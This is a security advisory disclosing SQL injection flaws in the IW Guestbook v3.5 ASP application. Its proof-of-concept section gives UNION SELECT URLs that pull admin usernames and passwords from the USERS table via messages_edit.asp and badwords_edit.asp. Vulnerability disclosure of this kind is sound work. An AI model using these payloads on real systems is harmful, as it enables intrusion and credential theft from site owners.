IW Guestbook v3.5 - Multiple SQL Injection Vulnerabilities

Document Title:
===============
IW Guestbook v3.5 - Multiple SQL Injection Vulnerabilities



Release Date:
=============
2011-07-05


Vulnerability Laboratory ID (VL-ID):
====================================
211


Product & Service Introduction:
===============================
IWGuestboook è un Guestbook in ASP + MS Access altamente personalizzabile e facile da configurare.
Caratteristiche:

    Possibilità di aggiungere e di ordinare infinite domande, scegliendo  textfield  o  textarea 
    Possibilità di modificare, cancellare o oscurare temporaneamente le domande che non si desidera utilizzare
    Possibilità di cancellare o oscurare i messaggi
    Mini-editor di testo per il campo  Messaggio 
    Possibilità di aggiungere/modificare/cancellare infiniti Smileys
    Possibilità di filtrare le parole oscene o non adeguate
    Notifica di nuovi messaggi all Amministratore, utilizzando CDONTS o CDOSYS
    Completo controllo sul Layout della pagina, potendo scegliere ad es. dimensione della pagina e tema (skin)
    Facilità di configurazione: solo 3 cartelle da copiare nella root!
    Compatibile con Windows 2003 Server
    COMPLETA GRATUITA !  

(Copy of the Vendor Homepage: http://www.ivansweb.com/products/details.asp?iData=2&iCat=3&iChannel=3&nChannel=Products)


Abstract Advisory Information:
==============================
Vulnerability Lab Team discovered multiple SQL Injection vulnerability on the IW Guestbook Application v3.5.x


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
Multiple SQL Injection Vulnerabilities are detected on the IW-Guestbook application (v3.5).
The sql injection vulnerability allows an attacker to inject/execute own sql statements on the application dbms.

Vulnerable Module(s):
				[+] ?iData



Proof of Concept (PoC):
=======================
The vulnerabilities can be exploited by remote attackers. For demonstration or reproduce ...

Example:
http://www.xxx.com/iwguestbook/admin/messages_edit.asp?iData=514%27
http://www.xxx.com/iwguestbook/admin/badwords_edit.asp?iData=-1'


PoC:
http://www.xxx.com/iwguestbook/admin/badwords_edit.asp?iData=1+union+select+1,UseNAME,UsePASSWORD+from+USERS#
http://www.xxx.com/iwguestbook/admin/messages_edit.asp?iData=1+union+select+1,UseNAME,UsePASSWORD+from+USERS#


Security Risk:
==============
The security risk of the sql injection vulnerability is estimated as high.


Credits & Authors:
==================
Vulnerability Research Laboratory - Chokri B.A.


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=========================
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